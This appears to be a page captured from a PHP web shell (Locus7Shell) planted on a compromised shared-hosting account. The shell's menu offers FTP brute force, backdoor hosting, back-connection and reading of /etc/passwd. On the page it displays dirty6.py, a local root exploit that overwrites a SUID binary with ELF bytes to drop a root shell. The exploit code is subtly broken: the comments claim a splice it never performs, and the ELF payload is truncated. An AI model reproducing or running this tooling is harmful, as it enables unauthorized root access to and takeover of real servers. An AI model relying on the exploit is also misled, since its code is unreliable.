Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/   drwx---r-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.112 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     dirty6.py (2.2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import os
import sys
import stat
import fcntl
import mmap
import platform

elfcode = (
    b'\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00'
    b'\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
)

def prepare_pipe():
    # create pipe
    p = os.pipe()
    pipe_size = fcntl.fcntl(p[1], fcntl.F_GETPIPE_SZ)
    buffer = bytearray(4096)
    
    # fill the pipe
    for r in range(pipe_size, 0, -len(buffer)):
        os.write(p[1], buffer[:min(len(buffer), r)])
    
    # drain the pipe
    for r in range(pipe_size, 0, -len(buffer)):
        os.read(p[0], min(len(buffer), r))
    
    return p

def hax(filename, offset, data):
    try:
        fd = os.open(filename, os.O_RDWR)  # Open the file with read/write permissions
        
        # Mimic the splice operation
        os.lseek(fd, offset - 1, os.SEEK_SET)  # Move file pointer to the desired offset
        os.write(fd, data)  # Write new data into the file

        os.close(fd)  # Close the file descriptor after writing
    except OSError as e:
        print("Error:", e)
        return -1
    return 0

def main():
    if len(sys.argv) != 2:
        print("Usage: {} SUID".format(sys.argv[0]))
        sys.exit(1)
    
    path = sys.argv[1]
    
    # Create the original ELF file (elfcode)
    try:
        with open(path, 'rb') as f:
            orig_bytes = f.read(len(elfcode))
    except OSError as e:
        print("Error opening file:", e)
        sys.exit(1)

    print("[+] Hijacking suid binary...")
    
    if hax(path, 1, elfcode) != 0:
        print("[~] Failed to hijack")
        sys.exit(1)

    print("[+] Dropping suid shell...")

    # Execute the modified suid binary
    os.system(path)

    print("[+] Restoring suid binary...")
    
    if hax(path, 1, orig_bytes) != 0:
        print("[~] Failed to restore")
        sys.exit(1)

    print("[+] Popping root shell... (don't forget to clean up /tmp/sh ;))")
    os.system("/tmp/sh")

if __name__ == "__main__":
    main()

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0053 ]--